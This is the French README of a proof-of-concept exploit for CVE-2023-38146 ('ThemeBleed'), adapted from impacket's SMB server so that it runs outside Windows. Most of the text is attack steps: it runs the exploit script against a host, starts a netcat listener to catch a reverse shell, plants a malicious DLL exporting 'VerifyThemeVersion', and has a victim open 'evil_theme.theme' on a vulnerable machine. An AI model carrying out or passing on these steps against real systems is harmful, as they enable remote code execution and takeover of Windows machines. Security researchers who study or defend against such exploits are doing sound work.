
Meilleur POC
Fortement inspiré de https://github.com/gabe-k/themebleed qui ne fonctionne que sous Windows (c'est pourquoi j'ai décidé d'écrire celui-ci).
Utilisation de code modifié depuis impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
Ressources utiles : https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
Article de blog : https://jnns.de/posts/cve-2023-38146-poc/
Installez les dépendances et exécutez l'application :
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
Utilisez "evil_theme.theme" ou "evil_theme.themepack" sur une machine vulnérable.
Profitez !
Placez une DLL avec une fonction exportée "VerifyThemeVersion" dans le dossier "./td/" nommée "Aero.msstyles_vrf_evil.dll". Vous devriez pouvoir trouver un exemple de DLL via Google ou utiliser mon exemple https://github.com/Jnnshschl/ThemeBleedReverseShellDLL.
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711